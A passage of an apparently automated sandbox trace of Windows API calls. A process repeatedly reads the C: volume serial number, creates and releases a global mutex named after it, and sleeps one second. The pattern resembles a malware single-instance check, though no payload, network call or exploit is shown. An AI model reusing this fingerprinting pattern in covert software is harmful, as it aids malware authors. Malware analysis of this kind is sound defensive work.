returned 1 [0235.827] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x599808, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0235.827] GetProcessHeap () returned 0x560000 [0235.827] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c48 | out: hHeap=0x560000) returned 1 [0235.827] GetProcessHeap () returned 0x560000 [0235.827] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5995d8 | out: hHeap=0x560000) returned 1 [0235.828] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0235.829] GetProcessHeap () returned 0x560000 [0235.829] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599808 | out: hHeap=0x560000) returned 1 [0235.829] GetProcessHeap () returned 0x560000 [0235.829] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574508 [0235.829] GetProcessHeap () returned 0x560000 [0235.829] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574430 [0235.829] GetProcessHeap () returned 0x560000 [0235.829] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574430, Size=0x72) returned 0x56fea0 [0235.829] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0235.831] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1f0 [0235.832] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0235.832] GetProcessHeap () returned 0x560000 [0235.832] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574508 | out: hHeap=0x560000) returned 1 [0235.832] GetProcessHeap () returned 0x560000 [0235.832] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fea0 | out: hHeap=0x560000) returned 1 [0235.832] ReleaseMutex (hMutex=0x1f0) returned 1 [0235.832] CloseHandle (hObject=0x1f0) returned 1 [0235.832] Sleep (dwMilliseconds=0x3e8) [0237.199] GetProcessHeap () returned 0x560000 [0237.199] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x5995b0 [0237.199] GetProcessHeap () returned 0x560000 [0237.199] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x599808 [0237.199] GetProcessHeap () returned 0x560000 [0237.199] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x5995d8 [0237.199] GetProcessHeap () returned 0x560000 [0237.199] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b742f0 [0237.199] GetProcessHeap () returned 0x560000 [0237.199] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b742f0 | out: hHeap=0x560000) returned 1 [0237.199] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x599808, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0237.199] GetProcessHeap () returned 0x560000 [0237.199] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5995d8 | out: hHeap=0x560000) returned 1 [0237.200] GetProcessHeap () returned 0x560000 [0237.200] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5995b0 | out: hHeap=0x560000) returned 1 [0237.200] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0237.200] GetProcessHeap () returned 0x560000 [0237.200] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599808 | out: hHeap=0x560000) returned 1 [0237.200] GetProcessHeap () returned 0x560000 [0237.201] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574508 [0237.201] GetProcessHeap () returned 0x560000 [0237.201] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574430 [0237.201] GetProcessHeap () returned 0x560000 [0237.201] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574430, Size=0x72) returned 0x56fea0 [0237.201] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0237.202] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1f0 [0237.202] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0237.218] GetProcessHeap () returned 0x560000 [0237.218] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574508 | out: hHeap=0x560000) returned 1 [0237.218] GetProcessHeap () returned 0x560000 [0237.218] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fea0 | out: hHeap=0x560000) returned 1 [0237.218] ReleaseMutex (hMutex=0x1f0) returned 1 [0237.218] CloseHandle (hObject=0x1f0) returned 1 [0237.218] Sleep (dwMilliseconds=0x3e8) [0238.438] GetProcessHeap () returned 0x560000 [0238.438] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x599808 [0238.438] GetProcessHeap () returned 0x560000 [0238.438] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x5995b0 [0238.438] GetProcessHeap () returned 0x560000 [0238.438] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x5995d8 [0238.438] GetProcessHeap () returned 0x560000 [0238.438] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b74280 [0238.438] GetProcessHeap () returned 0x560000 [0238.438] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b74280 | out: hHeap=0x560000) returned 1 [0238.438] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x5995b0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0238.438] GetProcessHeap () returned 0x560000 [0238.439] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5995d8 | out: hHeap=0x560000) returned 1 [0238.439] GetProcessHeap () returned 0x560000 [0238.439] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x599808 | out: hHeap=0x560000) returned 1 [0238.439] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0238.439] GetProcessHeap () returned 0x560000 [0238.439] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5995b0 | out: hHeap=0x560000) returned 1 [0238.439] GetProcessHeap () returned 0x560000 [0238.439] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x574508 [0238.440] GetProcessHeap () returned 0x560000 [0238.440] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574430 [0238.440] GetProcessHeap () returned 0x560000 [0238.440] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574430, Size=0x72) returned 0x56fea0 [0238.440] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0238.440] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e4 [0238.440] WaitForSingleObject (hHandle=0x1e4, dwMilliseconds=0x0) returned 0x0 [0238.440] GetProcessHeap () returned 0x560000 [0238.440] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x574508 | out: hHeap=0x560000) returned 1 [0238.441] GetProcessHeap () returned 0x560000 [0238.441] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fea0 | out: hHeap=0x560000) returned 1 [0238.441] ReleaseMutex (hMutex=0x1e4) returned 1 [0238.441] CloseHandle (hObject=0x1e4) returned 1 [0238.441] Sleep (dwMilliseconds=0x3e8) [0239.592] GetProcessHeap () returned 0x560000 [0239.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a468 [0239.592] GetProcessHeap () returned 0x560000 [0239.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a7d8 [0239.592] GetProcessHeap () returned 0x560000 [0239.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87c70 [0239.592] GetProcessHeap () returned 0x560000 [0239.592] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57d6f8 [0239.592] GetProcessHeap () returned 0x560000 [0239.592] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57d6f8 | out: hHeap=0x560000) returned 1 [0239.592] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a7d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0239.592] GetProcessHeap () returned 0x560000 [0239.592] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0239.593] GetProcessHeap () returned 0x560000 [0239.593] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0239.593] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0239.594] GetProcessHeap () returned 0x560000 [0239.594] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0239.594] GetProcessHeap () returned 0x560000 [0239.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0239.594] GetProcessHeap () returned 0x560000 [0239.594] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0239.595] GetProcessHeap () returned 0x560000 [0239.595] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0239.595] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0239.595] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x200 [0239.595] WaitForSingleObject (hHandle=0x200, dwMilliseconds=0x0) returned 0x0 [0239.595] GetProcessHeap () returned 0x560000 [0239.595] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0239.595] GetProcessHeap () returned 0x560000 [0239.595] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0239.596] ReleaseMutex (hMutex=0x200) returned 1 [0239.596] CloseHandle (hObject=0x200) returned 1 [0239.596] Sleep (dwMilliseconds=0x3e8) [0240.785] GetProcessHeap () returned 0x560000 [0240.785] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a7d8 [0240.785] GetProcessHeap () returned 0x560000 [0240.785] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a468 [0240.786] GetProcessHeap () returned 0x560000 [0240.786] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87c70 [0240.786] GetProcessHeap () returned 0x560000 [0240.786] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57d6f8 [0240.786] GetProcessHeap () returned 0x560000 [0240.786] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57d6f8 | out: hHeap=0x560000) returned 1 [0240.786] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a468, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0240.786] GetProcessHeap () returned 0x560000 [0240.786] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0240.786] GetProcessHeap () returned 0x560000 [0240.786] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0240.786] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0240.787] GetProcessHeap () returned 0x560000 [0240.787] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0240.787] GetProcessHeap () returned 0x560000 [0240.787] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0240.787] GetProcessHeap () returned 0x560000 [0240.787] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0240.787] GetProcessHeap () returned 0x560000 [0240.787] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56fea0 [0240.787] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0240.788] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x204 [0240.788] WaitForSingleObject (hHandle=0x204, dwMilliseconds=0x0) returned 0x0 [0240.788] GetProcessHeap () returned 0x560000 [0240.788] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0240.788] GetProcessHeap () returned 0x560000 [0240.788] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fea0 | out: hHeap=0x560000) returned 1 [0240.788] ReleaseMutex (hMutex=0x204) returned 1 [0240.788] CloseHandle (hObject=0x204) returned 1 [0240.788] Sleep (dwMilliseconds=0x3e8) [0241.893] GetProcessHeap () returned 0x560000 [0241.893] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a468 [0241.893] GetProcessHeap () returned 0x560000 [0241.893] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a7d8 [0241.893] GetProcessHeap () returned 0x560000 [0241.893] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87c70 [0241.893] GetProcessHeap () returned 0x560000 [0241.893] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b74270 [0241.895] GetProcessHeap () returned 0x560000 [0241.895] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b74270 | out: hHeap=0x560000) returned 1 [0241.895] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a7d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0241.895] GetProcessHeap () returned 0x560000 [0241.895] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0241.895] GetProcessHeap () returned 0x560000 [0241.895] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0241.898] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0241.899] GetProcessHeap () returned 0x560000 [0241.899] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0241.899] GetProcessHeap () returned 0x560000 [0241.899] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0241.899] GetProcessHeap () returned 0x560000 [0241.899] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0241.899] GetProcessHeap () returned 0x560000 [0241.899] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56fea0 [0241.899] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0241.900] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1b0 [0241.900] WaitForSingleObject (hHandle=0x1b0, dwMilliseconds=0x0) returned 0x0 [0241.900] GetProcessHeap () returned 0x560000 [0241.900] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0241.900] GetProcessHeap () returned 0x560000 [0241.900] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fea0 | out: hHeap=0x560000) returned 1 [0241.900] ReleaseMutex (hMutex=0x1b0) returned 1 [0241.900] CloseHandle (hObject=0x1b0) returned 1 [0241.901] Sleep (dwMilliseconds=0x3e8) [0243.045] GetProcessHeap () returned 0x560000 [0243.045] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a7d8 [0243.045] GetProcessHeap () returned 0x560000 [0243.045] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a468 [0243.046] GetProcessHeap () returned 0x560000 [0243.046] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87c70 [0243.046] GetProcessHeap () returned 0x560000 [0243.046] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x2b74208 [0243.046] GetProcessHeap () returned 0x560000 [0243.046] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b74208 | out: hHeap=0x560000) returned 1 [0243.046] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a468, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0243.046] GetProcessHeap () returned 0x560000 [0243.046] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0243.046] GetProcessHeap () returned 0x560000 [0243.046] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0243.047] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0243.047] GetProcessHeap () returned 0x560000 [0243.047] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0243.047] GetProcessHeap () returned 0x560000 [0243.047] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0243.047] GetProcessHeap () returned 0x560000 [0243.048] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0243.048] GetProcessHeap () returned 0x560000 [0243.048] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56fea0 [0243.048] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0243.048] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e0 [0243.048] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x0 [0243.048] GetProcessHeap () returned 0x560000 [0243.048] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0243.049] GetProcessHeap () returned 0x560000 [0243.049] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56fea0 | out: hHeap=0x560000) returned 1 [0243.049] ReleaseMutex (hMutex=0x1e0) returned 1 [0243.049] CloseHandle (hObject=0x1e0) returned 1 [0243.049] Sleep (dwMilliseconds=0x3e8) [0244.262] GetProcessHeap () returned 0x560000 [0244.262] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a468 [0244.262] GetProcessHeap () returned 0x560000 [0244.262] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a7d8 [0244.262] GetProcessHeap () returned 0x560000 [0244.262] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87c70 [0244.262] GetProcessHeap () returned 0x560000 [0244.262] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57d6f8 [0244.263] GetProcessHeap () returned 0x560000 [0244.263] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57d6f8 | out: hHeap=0x560000) returned 1 [0244.263] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a7d8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0244.263] GetProcessHeap () returned 0x560000 [0244.263] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0244.263] GetProcessHeap () returned 0x560000 [0244.263] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0244.263] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0244.264] GetProcessHeap () returned 0x560000 [0244.264] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0244.264] GetProcessHeap () returned 0x560000 [0244.264] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0244.264] GetProcessHeap () returned 0x560000 [0244.264] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0244.264] GetProcessHeap () returned 0x560000 [0244.264] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0244.264] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0244.264] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0xe0 [0244.265] WaitForSingleObject (hHandle=0xe0, dwMilliseconds=0x0) returned 0x0 [0244.265] GetProcessHeap () returned 0x560000 [0244.265] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0244.265] GetProcessHeap () returned 0x560000 [0244.265] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0244.265] ReleaseMutex (hMutex=0xe0) returned 1 [0244.265] CloseHandle (hObject=0xe0) returned 1 [0244.265] Sleep (dwMilliseconds=0x3e8) [0245.383] GetProcessHeap () returned 0x560000 [0245.383] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a7d8 [0245.383] GetProcessHeap () returned 0x560000 [0245.383] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a468 [0245.383] GetProcessHeap () returned 0x560000 [0245.383] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87c70 [0245.383] GetProcessHeap () returned 0x560000 [0245.383] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57d6f8 [0245.383] GetProcessHeap () returned 0x560000 [0245.383] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57d6f8 | out: hHeap=0x560000) returned 1 [0245.383] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a468, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0245.384] GetProcessHeap () returned 0x560000 [0245.384] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x2b87c70 | out: hHeap=0x560000) returned 1 [0245.384] GetProcessHeap () returned 0x560000 [0245.384] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a7d8 | out: hHeap=0x560000) returned 1 [0245.384] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x224fa34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x224fa34*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0245.385] GetProcessHeap () returned 0x560000 [0245.385] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57a468 | out: hHeap=0x560000) returned 1 [0245.385] GetProcessHeap () returned 0x560000 [0245.385] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x40) returned 0x5740d0 [0245.385] GetProcessHeap () returned 0x560000 [0245.385] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x3a) returned 0x574508 [0245.385] GetProcessHeap () returned 0x560000 [0245.385] RtlReAllocateHeap (Heap=0x560000, Flags=0x0, Ptr=0x574508, Size=0x72) returned 0x56ff20 [0245.385] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>9C354B4200000001") returned 0x0 [0245.385] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>9C354B4200000001") returned 0x1e0 [0245.386] WaitForSingleObject (hHandle=0x1e0, dwMilliseconds=0x0) returned 0x0 [0245.386] GetProcessHeap () returned 0x560000 [0245.386] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x5740d0 | out: hHeap=0x560000) returned 1 [0245.386] GetProcessHeap () returned 0x560000 [0245.386] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x56ff20 | out: hHeap=0x560000) returned 1 [0245.386] ReleaseMutex (hMutex=0x1e0) returned 1 [0245.386] CloseHandle (hObject=0x1e0) returned 1 [0245.386] Sleep (dwMilliseconds=0x3e8) [0247.501] GetProcessHeap () returned 0x560000 [0247.501] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x20) returned 0x57a468 [0247.501] GetProcessHeap () returned 0x560000 [0247.501] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x8, Size=0x1e) returned 0x57a7d8 [0247.501] GetProcessHeap () returned 0x560000 [0247.501] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x1e) returned 0x2b87c70 [0247.501] GetProcessHeap () returned 0x560000 [0247.501] RtlAllocateHeap (HeapHandle=0x560000, Flags=0x0, Size=0x90) returned 0x57d6f8 [0247.501] GetProcessHeap () returned 0x560000 [0247.501] HeapFree (in: hHeap=0x560000, dwFlags=0x0, lpMem=0x57d6f8 | out: hHeap=0x560000) returned 1 [0247.501] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x57a7d8, nSize=0xf | out: 